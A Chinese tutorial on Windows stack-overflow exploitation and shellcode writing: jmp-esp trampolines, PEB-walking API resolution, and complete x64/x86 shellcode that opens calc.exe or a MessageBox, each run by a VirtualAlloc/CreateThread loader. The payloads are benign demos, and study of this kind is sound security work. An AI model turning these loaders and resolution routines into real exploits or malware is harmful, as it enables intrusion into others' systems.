一、定位shellcode
在实际漏洞利用过程中,由于动态链接库的装入和卸载等原因,Windows进程的函数栈帧很有可能会产生”位移“,即shellcode在内存中的地址是动态变化的。因此我们需要找到一个跳板,使得程序的执行流程总是能找到我们的shellcode。
jmp esp
在上一节中verify_password函数返回后栈中的情况如下所示:
- 实线体现了代码植入的流程:将返回地址淹没为我们手工查出的shellcode起始地址 0x0012FAF0,函数返回时,这个地址被弹入EIP寄存器中,处理器按照EIP寄存器中的地址取指令,最后栈中的数据被处理器当成指令执行。
- 虚线则点出了这样一个细节:在函数返回时候,ESP恰好只想栈帧中返回地址的后一个位置。
图一 栈帧位移示意图
图二 溢出发生时栈、寄存器与代码之间的关系
一般情况下,ESP寄存器中的地址总是指向系统栈中且不会被溢出的数据破坏。函数返回时,ESP所指的位置恰好是我们所淹没的返回地址的下一个位置,如图三。
图三 使用"跳板"的溢出利用流程
由于ESP寄存器在函数返回后不被溢出数据干扰,且始终指向返回地址之后的位置,我们就可以使用图三所示的这种定位shellcode的方法来进行动态定位。
- 用内存中的任意一个jmp esp指令的地址覆盖函数的返回地址,而不是用原来的手工查询出的shellcode起始地址直接覆盖。
- 函数返回地址被重定向去执行内存中的这条jmp esp指令,而不是直接开始执行shellcode。
- 由于ESP在函数返回时仍指向栈区(函数返回地址之后),jmp esp指令被执行后,处理器会到栈区函数返回地址之后的地方取指令执行。
- 重新布置shellcode。在淹没函数返回地址后,继续淹没一片栈空间。将缓冲区前边一段地方用任意数据填充,把shellcode恰好摆放在函数返回地址之后。这样,jmp esp指令执行过后会恰好跳进shellcode。
这种定位shellcode的方法使用进程空间里的一条 jmp esp指令作为"跳板",无论栈帧怎么"位移",都能精确地跳回栈区,从而适应程序运行中shellcode内存地址的动态变化。
当然这只是一种定位shellcode的方式,还有其他许多种定位shellcode的方式。
二、开发通用shellcode
环境:
操作系统: Windows 10 x64编译器: vs 2019
定位shellcode使用API的原理
通过手工查出来的API地址会在其他计算机上失效,在shellcode中使用静态函数地址来调用API会使exploit的额通用性收到很大的限制,所以,实际中使用的shellcode必须还要能动态地获得自身所需的API的函数地址。
Windows的API是通过动态链接库中的导出函数来实现的,例如,内存操作等函数在kernel32.dll中实现;大量的图形界面相关的API则在user32.dll中实现。Win32平台下的shellcode使用最广泛的方法,就是通过从进程环境块中找到动态链接库的导出表,并搜索出所需的API地址,然后逐一调用。
几乎所有Win32程序都会加载ntdll.dll和kernel32.dll这两个基础的动态链接库。如果想要在win_32平台下定位kernel32.dll中的API地址,可以采取如下办法。
64位系统
- 首先通过选择字GS在内存中找到当前存放着指向当前线程环境块TEB。在GS中存储的是TEB在GDT(Global Descriptor Table)中的序号,通过GDT获取TEB的基址。
- 线程环境块偏移位置为0x60的地方存放着指向进程环境块PEB的指针(即GS[0x30])。
- 进程环境块中偏移位置为0x18的地方存放着指向PEB_LDR_DATA结构体的指针,其中,存放着已经被进程装载的动态链接库的信息。
- PEB_LDR_DATA结构体偏移位置为0x20 的地方存放着指向模块初始化链表的头指针 InInitializationOrderModuleList。
- 模块初始化链表 InInitializationOrderModuleList中按顺序存放着 PE 装入运行时初始化模块的信息,第一个链表结点是 ntdll.dll,第二个链表结点就是 kernelbase.dll,第三个节点才是kernel32.dll。
- 找到属于kernel32.dll的结点后,在其基础上再偏移 0x20 就是 kernel32.dll在内存中的加载基地址。
- 从kernel32.dll的加载基址算起,偏移0x3C的地方就是其PE头。
- PE 头偏移 0x88 的地方存放着指向函数导出表的指针。
32位系统
- 首先通过选择字FS在内存中找到当前存放着指向当前线程环境块TEB。在FS中存储的是TEB在GDT(Global Descriptor Table)中的序号,通过GDT获取TEB的基址。
- 线程环境块偏移位置为0x30的地方存放着指向进程环境块PEB的指针(即FS[0x30])。
- 进程环境块中偏移位置为0x0C的地方存放着指向PEB_LDR_DATA结构体的指针,其中,存放着已经被进程装载的动态链接库的信息。
- PEB_LDR_DATA结构体偏移位置为0x1C 的地方存放着指向模块初始化链表的头指针 InInitializationOrderModuleList。
- 模块初始化链表 InInitializationOrderModuleList中按顺序存放着 PE 装入运行时初始化模块的信息,第一个链表结点是 ntdll.dll,第二个链表结点就是 kernel32.dll。
- 找到属于kernel32.dll的结点后,在其基础上再偏移 0x08 就是 kernel32.dll在内存中的加载基地址。
- 从kernel32.dll的加载基址算起,偏移0x3C的地方就是其PE头。
- PE 头偏移 0x78 的地方存放着指向函数导出表的指针。
- 至此,我们可以按如下方式在函数导出表中算出所需函数的入口地址,如图四所示。
图四 在shellcode中动态定位API的原理
代码实现
使用汇编生成shellcode
x64 弹出计算器shellcode
/*; Get kernel32.dll base addressxor rdi, rdi ; RDI = 0x0mul rdi ; RAX&RDX =0x0mov rbx, gs:[rax+0x60] ; RBX = Address_of_PEBmov rbx, [rbx+0x18] ; RBX = Address_of_LDRmov rbx, [rbx+0x20] ; RBX = 1st entry in InitOrderModuleList / ntdll.dllmov rbx, [rbx] ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dllmov rbx, [rbx] ; RBX = 3rd entry in InitOrderModuleList / kernel32.dllmov rbx, [rbx+0x20] ; RBX = &kernel32.dll ( Base Address of kernel32.dll)mov r8, rbx ; RBX & R8 = &kernel32.dll ; Get kernel32.dll ExportTable Addressmov ebx, [rbx+0x3C] ; RBX = Offset NewEXEHeaderadd rbx, r8 ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeaderxor rcx, rcx ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to addadd cx, 0x88ffshr rcx, 0x8 ; RCX = 0x88ff --> 0x88mov edx, [rbx+rcx] ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTableadd rdx, r8 ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable ; Get &AddressTable from Kernel32.dll ExportTablexor r10, r10mov r10d, [rdx+0x1C] ; RDI = RVA AddressTableadd r10, r8 ; R10 = &AddressTable ; Get &NamePointerTable from Kernel32.dll ExportTablexor r11, r11mov r11d, [rdx+0x20] ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTableadd r11, r8 ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable) ; Get &OrdinalTable from Kernel32.dll ExportTablexor r12, r12mov r12d, [rdx+0x24] ; R12 = RVA OrdinalTableadd r12, r8 ; R12 = &OrdinalTable jmp short apis ; Get the address of the API from the Kernel32.dll ExportTablegetapiaddr:pop rbx ; save the return address for ret 2 caller after API address is foundpop rcx ; Get the string length counter from stackxor rax, rax ; Setup Counter for resolving the API Address after finding the name stringmov rdx, rsp ; RDX = Address of API Name String to match on the Stackpush rcx ; push the string length counter to stackloop:mov rcx, [rsp] ; reset the string length counter from the stackxor rdi,rdi ; Clear RDI for setting up string name retrievalmov edi, [r11+rax*4] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)]add rdi, r8 ; RDI = &NameString = RVA NameString + &kernel32.dllmov rsi, rdx ; RSI = Address of API Name String to match on the Stack (reset to start of string)repe cmpsb ; Compare strings at RDI & RSIje resolveaddr ; If match then we found the API string. Now we need to find the Address of the APIincloop:inc raxjmp short loop ; Find the address of GetProcAddress by using the last value of the Counterresolveaddr:pop rcx ; remove string length counter from top of stackmov ax, [r12+rax*2] ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32.mov eax, [r10+rax*4] ; RAX = RVA API = [&AddressTable + API OrdinalNumber]add rax, r8 ; RAX = Kernel32. = RVA kernel32. + kernel32.dll BaseAddresspush rbx ; place the return address from the api string call back on the top of the stackret ; return to API caller apis: ; API Names to resolve addresses; WinExec | String length : 7xor rcx, rcxadd cl, 0x7 ; String length for compare stringmov rax, 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExecnot rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysisshr rax, 0x8 ; xEcoll,0xFFFF --> 0x0000,xEcollpush raxpush rcx ; push the string length counter to stackcall getapiaddr ; Get the address of the API from Kernel32.dll ExportTablemov r14, rax ; R14 = Kernel32.WinExec Address ; UINT WinExec(; LPCSTR lpCmdLine, => RCX = "calc.exe",0x0; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL; );xor rcx, rcxmul rcx ; RAX & RDX & RCX = 0x0; calc.exe | String length : 8push rax ; Null terminate string on stackmov rax, 0x9A879AD19C939E9C ; not 0x9A879AD19C939E9C = "calc.exe"not rax;mov rax, 0x6578652e636c6163 ; exe.clac : 6578652e636c6163push rax ; RSP = "calc.exe",0x0mov rcx, rsp ; RCX = "calc.exe",0x0inc rdx ; RDX = 0x1 = SW_SHOWNORMALsub rsp, 0x20 ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA)call r14 ; Call WinExec("calc.exe", SW_HIDE) */ #include void main() { void* exec; BOOL rv; HANDLE th; DWORD oldprotect = 0; // Shellcode unsigned char payload[] = "\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b" "\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2" "\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b" "\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04" "\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0" "\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2" "\x48\x83\xec\x20\x41\xff\xd6"; unsigned int payload_len = 205; exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); RtlMoveMemory(exec, payload, payload_len); rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect); th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0); WaitForSingleObject(th, -1);}
x86 弹出计算器shellcode
/*start: mov ebp, esp ; prologue add esp, 0xfffff9f0 ; Add space int ESP to avoid clobbering find_kernel32: xor ecx, ecx ; ECX = 0 mov esi,fs:[ecx+0x30] ; ESI = &(PEB) ([FS:0x30]) mov esi,[esi+0x0C] ; ESI = PEB->Ldr mov esi,[esi+0x1C] ; ESI = PEB->Ldr.InInitOrder next_module: mov ebx, [esi+0x08] ; EBX = InInitOrder[X].base_address mov edi, [esi+0x20] ; EDI = InInitOrder[X].module_name mov esi, [esi] ; ESI = InInitOrder[X].flink (next) cmp [edi+12*2], cx ; (unicode) modulename[12] == 0x00 ? jne next_module ; No: try next module find_function_shorten: jmp find_function_shorten_bnc ; Short jump find_function_ret: pop esi ; POP the return address from the stack mov [ebp+0x04], esi ; Save find_function address for later usage jmp resolve_symbols_kernel32 ; find_function_shorten_bnc: call find_function_ret ; Relative CALL with negative offset find_function: pushad ; Save all registers mov eax, [ebx+0x3c] ; Offset to PE Signature mov edi, [ebx+eax+0x78] ; Export Table Directory RVA add edi, ebx ; Export Table Directory VMA mov ecx, [edi+0x18] ; NumberOfNames mov eax, [edi+0x20] ; AddressOfNames RVA add eax, ebx ; AddressOfNames VMA mov [ebp-4], eax ; Save AddressOfNames VMA for later find_function_loop: jecxz find_function_finished ; Jump to the end if ECX is 0 dec ecx ; Decrement our names counter mov eax, [ebp-4] ; Restore AddressOfNames VMA mov esi, [eax+ecx*4] ; Get the RVA of the symbol name add esi, ebx ; Set ESI to the VMA of the current symbol name compute_hash: xor eax, eax ; NULL EAX cdq ; NULL EDX cld ; Clear direction compute_hash_again: lodsb ; Load the next byte from esi into al test al, al ; Check for NULL terminator jz compute_hash_finished ; If the ZF is set, we've hit the NULL term ror edx, 0x0d ; Rotate edx 13 bits to the right add edx, eax ; Add the new byte to the accumulator jmp compute_hash_again ; Next iteration compute_hash_finished: find_function_compare: cmp edx, [esp+0x24] ; Compare the computed hash with the requested hash jnz find_function_loop ; If it doesn't match go back to find_function_loop mov edx, [edi+0x24] ; AddressOfNameOrdinals RVA add edx, ebx ; AddressOfNameOrdinals VMA mov cx, [edx+2*ecx] ; Extrapolate the function's ordinal mov edx, [edi+0x1c] ; AddressOfFunctions RVA add edx, ebx ; AddressOfFunctions VMA mov eax, [edx+4*ecx] ; Get the function RVA add eax, ebx ; Get the function VMA mov [esp+0x1c], eax ; Overwrite stack version of eax from pushad find_function_finished: popad ; Restore registers ret ; resolve_symbols_kernel32: push 0xe8afe98 ; WinExec hash call dword ptr [ebp+0x04] ; Call find_function mov [ebp+0x10], eax ; Save WinExec address for later usage push 0x78b5b983 ; TerminateProcess hash call dword ptr [ebp+0x04] ; Call find_function mov [ebp+0x14], eax ; Save TerminateProcess address for later usage create_calc_string: xor eax, eax ; EAX = null push eax ; Push null-terminated string push dword 0x6578652e ; push dword 0x636c6163 ; push esp ; ESP = &(lpCmdLine) pop ebx ; EBX save pointer to string ; UINT WinExec( ; LPCSTR lpCmdLine, -> EBX ; UINT uCmdShow -> EAX ; ); call_winexec: xor eax, eax ; EAX = null push eax ; uCmdShow push ebx ; lpCmdLine call dword ptr [ebp+0x10] ; Call WinExec ; BOOL TerminateProcess( ; HANDLE hProcess, -> 0xffffffff ; UINT uExitCode -> EAX ; ); terminate_process: xor eax, eax ; EAX = null push eax ; uExitCode push 0xffffffff ; hProcess call dword ptr [ebp+0x14] ; Call TerminateProcess */ #include #include #include #include // Our WinExec PopCalc shellcode unsigned char payload[] ="\x89\xe5\x81\xc4\xf0\xf9\xff\xff\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x5e\x08\x8b\x7e""\x20\x8b\x36\x66\x39\x4f\x18\x75\xf2\xeb\x06\x5e\x89\x75\x04\xeb\x54\xe8\xf5\xff\xff\xff\x60\x8b\x43""\x3c\x8b\x7c\x03\x78\x01\xdf\x8b\x4f\x18\x8b\x47\x20\x01\xd8\x89\x45\xfc\xe3\x36\x49\x8b\x45\xfc\x8b""\x34\x88\x01\xde\x31\xc0\x99\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x24\x75""\xdf\x8b\x57\x24\x01\xda\x66\x8b\x0c\x4a\x8b\x57\x1c\x01\xda\x8b\x04\x8a\x01\xd8\x89\x44\x24\x1c\x61""\xc3\x68\x98\xfe\x8a\x0e\xff\x55\x04\x89\x45\x10\x68\x83\xb9\xb5\x78\xff\x55\x04\x89\x45\x14\x31\xc0""\x50\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x54\x5b\x31\xc0\x50\x53\xff\x55\x10\x31\xc0\x50\x6a\xff""\xff\x55\x14"; unsigned int payload_len = 178; int main(void) { void * exec_mem; BOOL rv; HANDLE th; DWORD oldprotect = 0; // Allocate a memory buffer for payload exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // Copy payload to new buffer RtlMoveMemory(exec_mem, payload, payload_len); // Make new buffer as executable rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect); printf("Hit me!"); printf("Shellcode Length: %d", strlen(payload)); getchar(); // If all good, run the payload if ( rv != 0 ) { th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0); WaitForSingleObject(th, -1); } return 0;}
使用C生成shellcode
- 使用vs创建一个空项目,这里以vs2019 x86 平台为例。
- 右键项目属性。我们需要修改release版本中的一些信息。如下
- 属性 -> C/C++ -> 代码生成 -> 安全检查->禁用安全检查 (/GS-)
- 属性 -> 链接器 -> 清单文件-> 生成清单-> 否 (/MANIFEST:NO)
- 属性 -> 链接器 -> 调试-> 生成调试信息-> 否
如下所示:
获取函数hash
通常情况下,我们会对所需的API函数名进行hash运算,在搜索导出表时对当前遇到的函数名也进行同样的hash,这样只要比较hash所得的摘要(digest)就能判定是不是我们所需的API了。虽然这种搜索方法需要引入额外的hash算法,但是可以节省出存储函数名字符串的代码。
注意:
这里所说的 hash 指的是 hash 算法,是一个运算过程。经过 hash 后得到的值将被称做摘要,即 digest,请注意。
这里提供一段简单的 "hash" 算法:
#include #include DWORD GetHash(const char* fun_name){ DWORD digest = 0; while (*fun_name) { digest = ((digest << 25) | (digest >> 7)); //循环右移 7 位 digest += *fun_name; //累加 fun_name++; } return digest;}void main(){ DWORD hash; hash = GetHash("GetProcAddress"); printf("result of hash is 0x%.8x", hash);}
提取shellcode
源码
#pragma code_seg("shellcode")#include #pragma comment(linker,"/entry:main") void main(){ //the pointer of kernel32.dll base address DWORD dwKernel32Addr = 0; _asm { push eax mov eax, dword ptr fs:[0x30] mov eax, [eax + 0x0C] mov eax,[eax + 0x1C] mov eax, [eax] mov eax, [eax + 0x08] mov dwKernel32Addr, eax pop eax } PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)dwKernel32Addr; PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)(dwKernel32Addr + pDosHeader->e_lfanew); PIMAGE_DATA_DIRECTORY pDataDirectory = pNtHeader->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT; PIMAGE_EXPORT_DIRECTORY pExportFuncTable = (PIMAGE_EXPORT_DIRECTORY)(dwKernel32Addr + pDataDirectory->VirtualAddress); PDWORD pAddrOfFunc = (PDWORD)(pExportFuncTable->AddressOfFunctions + dwKernel32Addr); PDWORD pAddrOfFuncNames = (PDWORD)(pExportFuncTable->AddressOfNames + dwKernel32Addr); PWORD pAddrOfOrdinals = (PWORD)(pExportFuncTable->AddressOfNameOrdinals + dwKernel32Addr); DWORD dwFuncGetProcAddress = 0; for (size_t i = 0; i < pExportFuncTable->NumberOfNames; i++) { PCHAR lpFuncName = (PCHAR)(pAddrOfFuncNames[i] + dwKernel32Addr); DWORD digest = 0; while (*lpFuncName) { digest = ((digest << 25) | (digest >> 7)); digest += *lpFuncName; lpFuncName++; } if (digest == 0xbbafdf85)//0xbbafdf85是经过自定义hash算法得到GetProcAddress函数的摘要 { dwFuncGetProcAddress = pAddrOfFunc[pAddrOfOrdinals[i]] + dwKernel32Addr; break; } } /* 如果是弹窗弹窗,这里我们需要 : LoadLibraryExA、MessageBoxA、ExitProcess、user32.dll */ /* 定义函数指针GetProcAddress */ typedef FARPROC (WINAPI *funcGetProcAddress)( HMODULE hModule, LPCSTR lpProcName ); funcGetProcAddress pfuncGetProcAddress = (funcGetProcAddress)dwFuncGetProcAddress; /* LoadLibraryExA 函数指针获取 */ typedef HMODULE (WINAPI *funcLoadLibraryExA)( LPCSTR lpLibFileName, HANDLE hFile, DWORD dwFlags ); //如果采用字符串模式,其字符串会被放入数据段,使用的每次加载地址都不一样, char szLoadLibraryExA[] = { 'L','o','a','d','L','i','b','r','a','r','y','E','x','A','\0' }; char szUser32[] = { 'u','s','e','r','3','2','.','d','l','l','\0' }; char szMessageBoxA[] = { 'M','e','s','s','a','g','e','B','o','x','A','\0' }; char szExitProcess[] = { 'E','x','i','t','P','r','o','c','e','s','s','\0' }; funcLoadLibraryExA pfuncLoadLibraryExA = (funcLoadLibraryExA)(pfuncGetProcAddress((HMODULE)dwKernel32Addr,szLoadLibraryExA)); /* ExitProcess函数指针 */ typedef VOID (WINAPI *funcExitProcess)( _In_ UINT uExitCode ); funcExitProcess pfuncExitProcess = (funcExitProcess)(pfuncGetProcAddress((HMODULE)dwKernel32Addr, szExitProcess)); /* * 加载user32.dll 和messagebox */ typedef int (WINAPI *funcMessageBoxA)( _In_opt_ HWND hWnd, _In_opt_ LPCSTR lpText, _In_opt_ LPCSTR lpCaption, _In_ UINT uType); funcMessageBoxA pfuncMessageBoxA = (funcMessageBoxA)(pfuncGetProcAddress((HMODULE)(pfuncLoadLibraryExA(szUser32, NULL, NULL)), szMessageBoxA)); char szContext[] = {'t','h','i','s',' ','i','s',' ','a',' ','t','e','s','t','\0' }; char szTitle[] = { 't','e','s','t','\0' }; pfuncMessageBoxA(NULL, szContext, szTitle, MB_OK); pfuncExitProcess(0);}
编译成功之后,程序正常运行:
将程序拖入OD,按F9进入程序模块,如图所示:
然后从第一行开始,下拉到空白区选中 右键 复制 二进制复制。然后再在010editor中粘贴自 从十六进制文本粘贴。
如下图:
选中然后复制为c代码:
这样就得到了我们的shellcode
unsigned char hexData[351] = { 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x5C, 0x53, 0x56, 0x57, 0xC7, 0x45, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x50, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x0C, 0x8B, 0x40, 0x1C, 0x8B, 0x00, 0x8B, 0x40, 0x08, 0x89, 0x45, 0xFC, 0x58, 0x8B, 0x7D, 0xFC, 0x33, 0xF6, 0x8B, 0x47, 0x3C, 0x8B, 0x44, 0x38, 0x78, 0x03, 0xC7, 0x8B, 0x48, 0x1C, 0x8B, 0x50, 0x24, 0x03, 0xCF, 0x8B, 0x58, 0x18, 0x03, 0xD7, 0x89, 0x4D, 0xF0, 0x8B, 0x48, 0x20, 0x03, 0xCF, 0x89, 0x55, 0xF4, 0x89, 0x4D, 0xF8, 0x85, 0xDB, 0x74, 0x41, 0x8B, 0x14, 0xB1, 0x33, 0xC0, 0x8A, 0x0C, 0x3A, 0x03, 0xD7, 0x84, 0xC9, 0x74, 0x18, 0xC1, 0xC8, 0x07, 0x8D, 0x52, 0x01, 0x0F, 0xBE, 0xC9, 0x03, 0xC1, 0x8A, 0x0A, 0x84, 0xC9, 0x75, 0xEF, 0x3D, 0x85, 0xDF, 0xAF, 0xBB, 0x74, 0x0A, 0x46, 0x3B, 0xF3, 0x73, 0x16, 0x8B, 0x4D, 0xF8, 0xEB, 0xD0, 0x8B, 0x45, 0xF4, 0x8B, 0x5D, 0xF0, 0x0F, 0xB7, 0x04, 0x70, 0x8B, 0x1C, 0x83, 0x03, 0xDF, 0xEB, 0x02, 0x33, 0xDB, 0x8D, 0x45, 0xB4, 0xC7, 0x45, 0xB4, 0x4C, 0x6F, 0x61, 0x64, 0x50, 0x57, 0xC7, 0x45, 0xB8, 0x4C, 0x69, 0x62, 0x72, 0xC7, 0x45, 0xBC, 0x61, 0x72, 0x79, 0x45, 0x66, 0xC7, 0x45, 0xC0, 0x78, 0x41, 0xC6, 0x45, 0xC2, 0x00, 0xC7, 0x45, 0xDC, 0x75, 0x73, 0x65, 0x72, 0xC7, 0x45, 0xE0, 0x33, 0x32, 0x2E, 0x64, 0x66, 0xC7, 0x45, 0xE4, 0x6C, 0x6C, 0xC6, 0x45, 0xE6, 0x00, 0xC7, 0x45, 0xC4, 0x4D, 0x65, 0x73, 0x73, 0xC7, 0x45, 0xC8, 0x61, 0x67, 0x65, 0x42, 0xC7, 0x45, 0xCC, 0x6F, 0x78, 0x41, 0x00, 0xC7, 0x45, 0xD0, 0x45, 0x78, 0x69, 0x74, 0xC7, 0x45, 0xD4, 0x50, 0x72, 0x6F, 0x63, 0xC7, 0x45, 0xD8, 0x65, 0x73, 0x73, 0x00, 0xFF, 0xD3, 0x8B, 0xF0, 0x8D, 0x45, 0xD0, 0x50, 0xFF, 0x75, 0xFC, 0xFF, 0xD3, 0x8B, 0xF8, 0x8D, 0x45, 0xC4, 0x50, 0x6A, 0x00, 0x6A, 0x00, 0x8D, 0x45, 0xDC, 0x50, 0xFF, 0xD6, 0x50, 0xFF, 0xD3, 0x6A, 0x00, 0x8D, 0x4D, 0xE8, 0xC7, 0x45, 0xA4, 0x74, 0x68, 0x69, 0x73, 0x51, 0x8D, 0x4D, 0xA4, 0xC7, 0x45, 0xA8, 0x20, 0x69, 0x73, 0x20, 0x51, 0x6A, 0x00, 0xC7, 0x45, 0xAC, 0x61, 0x20, 0x74, 0x65, 0x66, 0xC7, 0x45, 0xB0, 0x73, 0x74, 0xC6, 0x45, 0xB2, 0x00, 0xC7, 0x45, 0xE8, 0x74, 0x65, 0x73, 0x74, 0xC6, 0x45, 0xEC, 0x00, 0xFF, 0xD0, 0x6A, 0x00, 0xFF, 0xD7, 0x5F, 0x5E, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3};
在程序中运行我们的shellcode
#include unsigned char hexData[351] = { 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x5C, 0x53, 0x56, 0x57, 0xC7, 0x45, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x50, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x0C, 0x8B, 0x40, 0x1C, 0x8B, 0x00, 0x8B, 0x40, 0x08, 0x89, 0x45, 0xFC, 0x58, 0x8B, 0x7D, 0xFC, 0x33, 0xF6, 0x8B, 0x47, 0x3C, 0x8B, 0x44, 0x38, 0x78, 0x03, 0xC7, 0x8B, 0x48, 0x1C, 0x8B, 0x50, 0x24, 0x03, 0xCF, 0x8B, 0x58, 0x18, 0x03, 0xD7, 0x89, 0x4D, 0xF0, 0x8B, 0x48, 0x20, 0x03, 0xCF, 0x89, 0x55, 0xF4, 0x89, 0x4D, 0xF8, 0x85, 0xDB, 0x74, 0x41, 0x8B, 0x14, 0xB1, 0x33, 0xC0, 0x8A, 0x0C, 0x3A, 0x03, 0xD7, 0x84, 0xC9, 0x74, 0x18, 0xC1, 0xC8, 0x07, 0x8D, 0x52, 0x01, 0x0F, 0xBE, 0xC9, 0x03, 0xC1, 0x8A, 0x0A, 0x84, 0xC9, 0x75, 0xEF, 0x3D, 0x85, 0xDF, 0xAF, 0xBB, 0x74, 0x0A, 0x46, 0x3B, 0xF3, 0x73, 0x16, 0x8B, 0x4D, 0xF8, 0xEB, 0xD0, 0x8B, 0x45, 0xF4, 0x8B, 0x5D, 0xF0, 0x0F, 0xB7, 0x04, 0x70, 0x8B, 0x1C, 0x83, 0x03, 0xDF, 0xEB, 0x02, 0x33, 0xDB, 0x8D, 0x45, 0xB4, 0xC7, 0x45, 0xB4, 0x4C, 0x6F, 0x61, 0x64, 0x50, 0x57, 0xC7, 0x45, 0xB8, 0x4C, 0x69, 0x62, 0x72, 0xC7, 0x45, 0xBC, 0x61, 0x72, 0x79, 0x45, 0x66, 0xC7, 0x45, 0xC0, 0x78, 0x41, 0xC6, 0x45, 0xC2, 0x00, 0xC7, 0x45, 0xDC, 0x75, 0x73, 0x65, 0x72, 0xC7, 0x45, 0xE0, 0x33, 0x32, 0x2E, 0x64, 0x66, 0xC7, 0x45, 0xE4, 0x6C, 0x6C, 0xC6, 0x45, 0xE6, 0x00, 0xC7, 0x45, 0xC4, 0x4D, 0x65, 0x73, 0x73, 0xC7, 0x45, 0xC8, 0x61, 0x67, 0x65, 0x42, 0xC7, 0x45, 0xCC, 0x6F, 0x78, 0x41, 0x00, 0xC7, 0x45, 0xD0, 0x45, 0x78, 0x69, 0x74, 0xC7, 0x45, 0xD4, 0x50, 0x72, 0x6F, 0x63, 0xC7, 0x45, 0xD8, 0x65, 0x73, 0x73, 0x00, 0xFF, 0xD3, 0x8B, 0xF0, 0x8D, 0x45, 0xD0, 0x50, 0xFF, 0x75, 0xFC, 0xFF, 0xD3, 0x8B, 0xF8, 0x8D, 0x45, 0xC4, 0x50, 0x6A, 0x00, 0x6A, 0x00, 0x8D, 0x45, 0xDC, 0x50, 0xFF, 0xD6, 0x50, 0xFF, 0xD3, 0x6A, 0x00, 0x8D, 0x4D, 0xE8, 0xC7, 0x45, 0xA4, 0x74, 0x68, 0x69, 0x73, 0x51, 0x8D, 0x4D, 0xA4, 0xC7, 0x45, 0xA8, 0x20, 0x69, 0x73, 0x20, 0x51, 0x6A, 0x00, 0xC7, 0x45, 0xAC, 0x61, 0x20, 0x74, 0x65, 0x66, 0xC7, 0x45, 0xB0, 0x73, 0x74, 0xC6, 0x45, 0xB2, 0x00, 0xC7, 0x45, 0xE8, 0x74, 0x65, 0x73, 0x74, 0xC6, 0x45, 0xEC, 0x00, 0xFF, 0xD0, 0x6A, 0x00, 0xFF, 0xD7, 0x5F, 0x5E, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3}; void main(){ void* exec; BOOL rv; HANDLE th; DWORD oldprotect = 0; unsigned int payload_len =351; exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); RtlMoveMemory(exec, hexData, payload_len); rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect); th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0); WaitForSingleObject(th, -1);}
成功运行,如下所示: